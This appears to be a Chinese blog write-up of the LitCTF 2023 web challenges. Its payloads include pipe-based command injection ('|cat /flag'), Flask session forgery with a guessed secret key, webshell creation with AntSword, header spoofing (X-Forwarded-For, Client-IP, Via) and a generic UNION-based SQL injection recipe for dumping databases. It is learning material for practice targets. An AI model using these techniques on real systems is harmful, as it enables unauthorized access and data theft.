LITCTF web方向全WP(社工题无)
0.直接给WEB手食用的经验总结部分
我们一题一题来梳理一下学到的思路和经验
1.第一题 ping
前端的JS检测形同虚设,我们禁用或者抓包改都能够绕过JS检测
|通道符的理解,这里我们在命令执行的多了一种思路,当我们的命令执行无法进行时,考虑是否是前面已经进行了命令执行 加个通道符可以使我们的命令同时执行
2.导弹迷踪 与1zjs
导弹迷踪开始让我们使用kali 也就是网站目录扫描 dirsearch的使用 可能是我御剑没配好才导致的有些网站目录扫不出来,导致做题信息有限
然后这类前端JS小游戏都是可以通过查看页面JS源码找到flag的,因为他flag必须通过JS代码来让我们看见,就一定会在源码当中
3.PHP是世界上最好的语言!!
这里是命令执行的一些经验 如果一个题 你已经肯定是命令执行,但是你的命令使不出来,那是否是需要我们的用system()等指令来实现 又或者是 system();直接加一句php代码来实现?
都是可以考虑到的
4.Vim yyds clqwsn
vim在书写index.php的时候如果强制退出会留下一个.index.php.swp文件在同一个目录下 这里我们扫描也能扫出来
当然记得更好 前面那个.不能丢
5.Flag点击就送!
python中的网络模板 flask之类的,不只有SSTI这一个漏洞 更有session伪造 与py反序列化的漏洞
判断session伪造是看它有没有泄露session
判断ssti是试试{{7*2}} 看看有没有结果出来
6.SQL注入的基本步骤以及新思路(很多库的时候)
1.判断闭合 ' " 还是数字? 又或者探姬的)))))) ?由题目决定,得自己试
2.判断回显位置
通用payload如下 改数字就行
?id=1' group by 4 #
3.看库名 表名 列名
通用payload如下
1.库名
1' union select 1,group_concat(schema_name) from information_schema.schemata #
2.表名(改最后库名就行)
1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
3.列名(改最后单引号)
1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='' #
4.拿flag
1' union select 1,flag from 库名.表名 #
1.[LitCTF 2023]Ping
进入界面把源码扒拉一下,发现有个JS的正则绕过匹配,这里我看到这个正则匹配式子我就没想着去一个一个给他绕过了,他要是前端的JS检测形同虚设,这里我就不用文件上传中的burpsuite抓包改绕过前端的操作了,我直接用我的一个奇技淫巧
在调试器这里有一个禁用JAVAscript
我们点击,然后就可以去试我们的指令了
当我们输入cat /flag的时候是没有回显的,当时做到这里我就开始怀疑我奇技淫巧的正确性,最终结果操作是没错的,只是我们要输入 |cat /flag 才能回显flag 这是为啥呢?因为这里极有可能是后端在处理我们的参数的时候前面也是进行了指令操作的,我们加个 | 通道符能够保证我们的指令与前面的指令一起执行这才能回显flag
2.[LitCTF 2023]我Flag呢?
也是一道签到题,我们直接查看源码得到flag
很适合新手入门的一道题
3.[LitCTF 2023]导弹迷踪
这一题是我们经常做到的前端小游戏JS题,那这里我们根据之前的经验,肯定不能老老实实玩游戏,一般flag都是会直接放在前端 js文件里面,因为我们要出flag肯定是根据 JS文件里面的指令来输出flag
那这里就要介绍一下查找前端JS文件中flag的方法
F12一下来到调式器界面
他把所有的JS文件都列在了这里,我们看到上面的三个界面中的搜索功能,我们点开
这里我们有两种种搜索的可能 1.flag 直接查找
2.根据题目来要么你看看 NSSCTF 这类出题者的flag格式,或者是根据题目的要求来
比如我们这道题
题目说是6道关卡,我们可以想想 level或者finsh last这类特征词 找找当我们达到最后一关之后的输出
这里我们输入 level
其实就已经看到flag了 只是这里探姬还是挺用心的, F|L|A|G 过滤了我们的直接搜索,但是其他题目可能就不会了,或者说我们可能还是要根据的意境来,这个还是比较玄学的,我明天会去找探姬师傅去谈谈这道题还有没有其他做法
4.[LitCTF 2023]1zjs
这题是我做过最难的一道JS的题目,虽然题目有点迷惑性的说这是否是JS题,但是本质上还是找寻蛛丝马迹,找到出题人在页面中储存的信息,所以说这类题目我一直找不好,因为他没有固定的解题方法,反而是让我无从下手,这题做完也是学到了一些东西,扩展了一些做题方法和知识面
首先我们进入页面
根据上一题的经验,我直接去调试器看看源码 并且用搜索功能一通操作发现并没有flag,能知道的方法都试过了,但是页面还是没有提供任何可以用到的信息
根据大手的WP,审计这个JS文件,我们可以找到一个注释的文件夹,不知道为啥我御剑扫不出来,很烦,就扫出来一个index.php 之后可能要更换一些扫描的工具了,不然有些题目没有提示真的很难做出来
这里我们看到有一个 /f@k3flag.php的文件 我们进入
会得到下面一串字符,这是啥?
这是JS的一个特性,我们把它放到控制台上执行代码是能够执行出来代码的,这里对于这个特性我们不做过多解释,只能说这题纯给自己涨经验,很服气,因为它确实让我的知识面更广了
这里我们也是到CTF工具网站找到了JSfuck的解码编码的工具处,得到了flag,但是要注意把[]去除就行
这题我还是有点不甘心的,因为它如果按照这个做法去做就是在大量的代码文本里面查找有用信息。在想是不是要换一个后台扫描的工具了,御剑真心有时候用不上
5.[LitCTF 2023]PHP是世界上最好的语言!!
题目描述里面说flag位于根目录,这里我想着试试命令执行看看
每次都是同样的报错信息回显,这里我在想它后台是怎么处理我的代码的 我要不试试加个;来使我们的代码指令变成一句PHP代码变量,直接忽略掉后面的php代码检测
ok,看到了一些回显信息,那其实可以命令执行的话,那我们直接找flag吧
也是成功找到flag
6.[LitCTF 2023]Follow me and hack me
也是很容易的一道题,我直接放payload
点击执行就能得到flag
还有一个备份文件,我们来看看
这个index.php的备份文件没有什么信息,这里线索中断了,看看御剑能不能给我惊喜
ok,看看flag.php的文件
可惜啥都没有,这里我们线索又断了,说实话找彩蛋找到这里,我去看别人寻找过程的时候又坚定我去使用kali的决心,因为dirsearch的后台扫描实在是太香了(也有可能是我御剑没有配置好吧)
有两个东西,一个flag.php的页面,和一个压缩包,都是可以扫描出来的,我们看看压缩包的内容
哎,很抱歉,暑假买了新硬盘再去好好弄kali,现在储存空间太少了,不敢用kali。。。。使不上劲啊
7.[LitCTF 2023]Vim yyds clqwsn
打开界面看看源码也是什么信息都没有泄露给我们,那其实这个时候就要想到用dirsearch去扫描一下了,看看后台藏了哪些文件
这是一种做法,简单粗暴,能够直接解题
另一种做法是给我们补充知识点的,vim编辑index.php文件的时候,如果强制退出,它是会自动生成一个.index.php.swp在同目录下,用于恢复和备份。那你知道这个知识点就能够快速去下一步,不知道就只能老老实实扫描得到这个文件
这里我们去访问
他给我们下载了一个文本文件,我们去看看
这其实也就是源码内容了,只是读起来可能有点费力,基本还是能看懂的
有两个参数检测点都是通过 POST方法去提交的
一个是我们cmd的指令,直接找flag的指令 还有一个是password的检测 它本身的password是Give_Me_Your_Flag 然后题目要求是要我们的password传过来的值跟我们的这个Give_Me_Your_Flag base64编码后的值强相等,那我们将Give_Me_Your_Flagbase64编码一下传过去就行
所以payload如下
cmd=cat /flag&password=R2l2ZV9NZV9Zb3VyX0ZsYWc=
用post提交
得到flag
8.[LitCTF 2023]Flag点击就送!
这题涉及flask中的三大漏洞 session伪造 SSTI python反序列化 中的session的问题
果然还是学的太少了,怎么会认为flask这种网络框架只有单单一种SSTI漏洞呢 那么这一次就是新的关于网络框架的漏洞
这里我们认真学一下这个漏洞
在flask这py网络框架中,由于他本身的轻量化,所以有些功能比较随意(字面意思上的) 我们的session是直接储存在客户端的,可以直接看到的。那么一般涉及到 flask框架 并且还是session伪造的题目的话,我个人总结了两点特征,首先是我们抓包的时候会有如下特征
这是我们抓包此题到repeater界面看到的返回包 看server这一行 有python的字样 一般都是用的py中的网络框架来写的网页
然后还有一个特征,就是我们能在cookie信息头中看到session的字样
同时拥有这两个特征的题就可以往session伪造的方向去想了
那我们flask框架的中session到底是怎么设置的呢?
代码段如上
其实跟php代码量差不多,我们了解flask模板的session设置是会在客户端显示出来这个特性就可以。
当然,想要做出session伪造的题目,光了解这个还不够,flask的开发人员也不傻,他们设置了一个密钥来对session进行加密。我们如果想要伪造session进行身份绕过就必须要得到这个密钥,否则加密不了我们想要的session内容,也不能通过检测
但是呢,这一题的key(密钥)是我们靠猜出来,就是LitCTF 这也算是这个题目的门槛所在,知识不仅要扎实,而且要有直觉
那我们开始解题
之前前面对于题目的铺垫已经分析过他为什么是flask模块的session伪造漏洞了,这里直接开始
看到一个提交,这里我们随便提交一个东西先试试,admin不急
这里我们提交一个44
下面有个button,是拿flag,我们点击看看
这是正常流程的最后一步,那我们试试admin登录看看
hello就把我们拦截住了,那我们伪造session的地方就是正常进入hello验证界面后的步骤了
正常进入hello界面,然后抓包
给了session的值,这里我们要先把session转化为我们看的懂的东西,打开kali,在网上下载了专门加密session的脚本使用就是这个flask-session-cookie-manager-master
但是我们在加密之前肯定要先解密看看我们要修改的数据的格式才能修改,所以这里还有一个脚本是用来解session加密的
附下
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption("eyJuYW1lIjoiNDQ0NDQifQ.ZGIXdg.ATk3m-kmHY0kQkQzAI9lMLGLYYY".encode()))
我们把我们自己的session加密码放入到最后的print的decyption中进行解密
得到结果,那我们就可以开始修改了,将结果修改为
{'name': 'admin'}
复制,到kali中进行加密操作
cd到我们的脚本文件夹之后输入如下指令
python flask_session_cookie_manager3.py encode -s 'LitCTF' -t '{"name":"admin"}'
s代表我们的密钥,而t就代表我们要加密的session内容
得到了我们要加密的session的值
eyJuYW1lIjoiYWRtaW4ifQ.ZGI_bA.AyJkLtJrYnSjG3Jgqvh5QxdJUeo
复制这段session的值,覆盖我们原本的session值,就可以造成session伪造了
发包
通过了后端的检测得到flag
9.[LitCTF 2023]作业管理系统
这道题的难度不难,但是出的很好,因为他能拟造一个真实的环境,我之前做的难的web题都是真实的渗透环境,导致我即不知道题目的考点,也不知道从何入手,这道题就做到了真实的渗透环境,难度也适合
这题一眼丁真是文件上传题目
有两个途径,一个是上传木马,一个居然可以让我们自己创建木马界面,甚至不需要绕过
那上传途径我就不演示了,这里我们看看创建文件界面
这边我们试试fy.php
甚至可以直接创建木马,保存,进入木马界面
使用蚁剑进行连接
ok,
拿到flag
10.[LitCTF 2023]Http pro max plus
这题我的评价是出的太棒了,串起来了http的知识点,而且题目生动形象,不多说了,直接开始
看见本地访问,就想到XFF 这是很好的,但是这道题会让你认识到更多的报文头部信息 涨知识,并且还有更多收获哦!!
我们先试试XFF嘛,不试白不试
报文段修改如下
GET / HTTP/1.1
Host: node1.anna.nssctf.cn:28159
User-Agent: Chrome
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Cookie: buvid_fp=259e55cd3cb629cf3b0c4ad907d6ca30; buvid3=8AF8A797-85C4-B2C5-A038-CE76DDB9678F42794infoc; b_nut=1682127943; buvid4=0E5021CC-0552-7AAA-2B9F-E02235F31B7142794-023042209-Z4pqpz6hpaDpeBSKJnz3WA%3D%3D
Upgrade-Insecure-Requests: 1
返回了一个嘲讽
这时候我们再试试client-ip: 127.0.0.1
也是跟XFF一个作用,伪造使我们的请求来自本地
GET / HTTP/1.1
Host: node1.anna.nssctf.cn:28159
User-Agent: Chrome
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
client-ip: 127.0.0.1
Cookie: buvid_fp=259e55cd3cb629cf3b0c4ad907d6ca30; buvid3=8AF8A797-85C4-B2C5-A038-CE76DDB9678F42794infoc; b_nut=1682127943; buvid4=0E5021CC-0552-7AAA-2B9F-E02235F31B7142794-023042209-Z4pqpz6hpaDpeBSKJnz3WA%3D%3D
Upgrade-Insecure-Requests: 1
Ok,想让我们从全球最大的微积分学习网站(不是)来,那我们要添加如下报文头部信息referer: pornhub.com
报文如下
GET / HTTP/1.1
Host: node1.anna.nssctf.cn:28159
User-Agent: Chrome
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
client-ip: 127.0.0.1
referer: pornhub.com
Cookie: buvid_fp=259e55cd3cb629cf3b0c4ad907d6ca30; buvid3=8AF8A797-85C4-B2C5-A038-CE76DDB9678F42794infoc; b_nut=1682127943; buvid4=0E5021CC-0552-7AAA-2B9F-E02235F31B7142794-023042209-Z4pqpz6hpaDpeBSKJnz3WA%3D%3D
Upgrade-Insecure-Requests: 1
ok,一步一步来,我们的user-Agent头部信息改成Chrome就行 这个报文段的信息就是储存我们的游览器和其他机器信息的内容的
GET / HTTP/1.1
Host: node1.anna.nssctf.cn:28159
User-Agent: Chrome
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
client-ip: 127.0.0.1
referer: pornhub.com
Connection: close
Cookie: buvid_fp=259e55cd3cb629cf3b0c4ad907d6ca30; buvid3=8AF8A797-85C4-B2C5-A038-CE76DDB9678F42794infoc; b_nut=1682127943; buvid4=0E5021CC-0552-7AAA-2B9F-E02235F31B7142794-023042209-Z4pqpz6hpaDpeBSKJnz3WA%3D%3D
Upgrade-Insecure-Requests: 1
请求报文和返回如下图
Ok,这里就学到了新的知识了,我们代理的报文头部信息是via: ***.win (代理服务器的地址) 添加进去
给了我们一个目录,那我们访问访问
这个网页第一个地方是给我们开代理的地方也就是 FQ,很好的一个教程,给大家码住
https://doc.miyun.app/app/***-win/
我他妈直接看色图
ok,被耍了
我们回去,稍微冷静一点就F12就能看到最后一步了
访问吧,拿着flag继续冲
这题出的挺好的,适合作为范本入门题
11.
11.[LitCTF 2023]这是什么?SQL !注一下 !
一道中规的SQL注入题,对于我自身来说是很好的提升
进题目之后直接把sql连接的语句告诉你了,那我们直接走流程,看看回显几列
最关键的是这里,这里的回显位其实六个) 那我们可以试试 payload
?id=1)))))) group by 4 #
换成3试试还是一样的结果
发现没回显没报错
换成 2
Ok,那可以确定是两行回显位了,看看到底是哪里在回显
输入payload
1)))))) union select database(),2 #
有回显,那再看看第二行位回显的情况
这其实看不出来他到底是哪里回显,只能看接下来的操作如果代码部分没错的话就两边都试试,如果有一边可以,那就说明那一边回显
这种情况下呢一般都是找本次databse()这个库里面的信息,但我这次可以试试看所有的库名再来试试不迟,因为你不知道flag藏在哪个库里面,万一有多个库呢?一个库还好,flag就在database()里面
所以下一次可以看看到底有哪些库再去查看库里面的信息
paload如下(已试出一号位不回显)
1)))))) union select 1,group_concat(schema_name) from information_schema.schemata #
ok,这里有很多库,前面两个是自带的,不用看
Ctftraining test ctf 三个库,那我们一个一个看吧,先看ctftraining这个库的表名
通用payload如下 (将最后的ctftraining换成我们想要查看的库就行)
1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #
ok有个flag表
我直接select这flag
payload如下
1)))))) union select 1,flag from ctftraining.flag #
没想到一次就成了
那这个SQL注入没有任何的过滤,而且引导也有,探索性也很强
还拓展了我的做题思维
12.[LitCTF 2023]彩蛋
前面几道题加起来的彩蛋的总和,很好的题目设计 探姬❤了
第一个彩蛋位于签到F12看flag的一个JS文件中
我们复制存一下
LitCTF{First_t0_The_k3y!
第二个菜单是作业管理系统中的那个远程下载的github网站,直接连到了探姬的github
码住
_S0_ne3t?
第三个彩蛋位于follow me and hack me给我们的文件中
存一下
_R3ady_Pl4yer_000ne_
第四个彩蛋是SQL注入的那一题中,我们不是看到了很多库吗,它是位于
ctf库中的users表里面
码住
F1rst_to_Th3_eggggggggg!}
四个彩蛋部分连起来
LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}
然后换成NSSCTF
NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}
LITCTF完结

浙公网安备 33010602011771号